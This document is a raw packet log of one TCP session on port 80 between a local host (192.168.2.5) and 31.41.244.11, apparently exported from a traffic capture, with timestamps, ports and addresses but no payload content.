Dec 20, 2024 02:11:30.469326973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.469887018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.469933987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.470031977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.470079899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.470597982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.470645905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.470709085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.470757008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.471370935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.471417904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.471420050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.471472979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.471967936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.472018003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.472047091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.472096920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.472681999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.472733021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.472798109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.472846985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.473337889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.473386049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.473587036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.473633051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.474128962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.474174976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.474189043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.474237919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.474905968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.474915981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.474957943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.475459099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.475508928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.475543976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.475594997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.476176977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.476224899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.476233959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.476281881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.476844072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.476860046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.476892948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.476907015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.477566004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.477632046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.477688074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.478236914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.478291035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.478293896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.478344917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.478986025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.479039907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.479212999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.479262114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.479795933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.479806900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.479850054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.480385065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.480437994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.480518103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.480566978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.481029034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.481089115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.481147051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.481195927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.481740952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.481794119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.481815100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.481867075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.482393980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.482497931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.482506037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.482846022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.483118057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.483169079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.483227968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.483274937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.483895063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.483906031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.483947039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.484519005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.484570026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.484699011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.484759092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.485254049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.485263109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.485305071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.485901117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.486057997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.486118078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.486607075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.486664057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.486715078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.486763954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.487281084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.487325907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.487451077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.487498045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.488023996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.488053083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.488071918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.488094091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.488678932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.488765955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.488816023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.488864899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.489373922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.489449978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.489485979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.489761114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.490070105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.490119934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.490215063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.490289927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.490760088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.490808010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.490906954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.490952969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.491492987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.491573095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.491591930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.491641998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.492209911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.492222071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.492271900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.492877007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.492930889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.493007898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.493057013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.493572950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.493618011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.493772030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.494261980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.494313002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.650305986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.650317907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.650379896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.650404930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.650446892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.650551081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.650604963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.651117086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.651161909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.651170969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.651212931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.651840925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.651887894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.651962996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.652003050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.652478933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.652523994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.652667046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.652707100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.653198957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.653242111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.653356075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.653399944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.653961897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.654006004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.654006958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.654043913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.654639006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.654668093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.654681921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.654707909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.655286074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.655328035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.655388117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.655433893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.655982018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.656028032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.656162977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.656205893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.656683922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.656728983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.656832933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.656877041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.657387972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.657430887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.657448053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.657490969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.658085108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.658128023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.658339977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.658384085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.658823013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.658876896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.658950090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.658993959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.659441948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.659487963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.659573078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.659615993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.660147905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.660198927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.660271883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.660315990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.660865068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.660911083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.660995007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.661051989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.661616087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.661657095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.661662102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.661715031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.662302971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.662347078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.662359953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.662403107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.662977934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.663023949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.663106918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.663150072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.663723946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.663770914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.663850069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.664012909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.664531946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.664541960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.664577961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.665036917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.665085077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.665086985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.665131092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.665855885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.665905952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.665946007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.665985107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.666484118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.666533947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.666618109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.666661978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.667171955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.667229891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.667334080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.667378902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.667814970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.667929888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.667988062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.667988062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.668518066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.668606043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.668662071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.669271946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.669327974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.669390917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.669439077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.669965029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.670012951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.670026064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.670072079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.670681000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.670742035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.670783043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.670831919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.671304941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.671365023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.671448946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.671500921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.672063112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.672115088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.672137976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.672179937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.672708035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.672832966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.672897100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.673405886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.673466921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.673532009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.673583031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.674118042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.674175024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.674220085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.674268007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.674844980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.674901009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.674906015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.674943924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.675510883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.675571918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.675682068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.675729036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.676208019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.676326990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.676388979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.677000999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.677012920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.677062988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.677695036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.677706957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.677764893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.678318977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.678407907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.678414106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.678483009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.679105997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.679117918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.679157019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.679740906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.679788113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.679792881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.679836035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.680401087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.680573940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.680619001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.681041002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.681085110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.681199074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.681241035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.681950092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.681961060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.681997061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.682481050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.682521105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.682566881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.682615042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.683182001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.683223963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.683298111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.683342934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.684001923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.684012890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.684060097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.684570074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.684709072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.684751987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.685273886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.685317993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.685399055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.685442924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.686006069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.686058044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.686068058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.686115980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.686664104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.686714888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.843034029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.843135118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.843209982 CET	49875	80	192.168.2.5	31.41.244.11
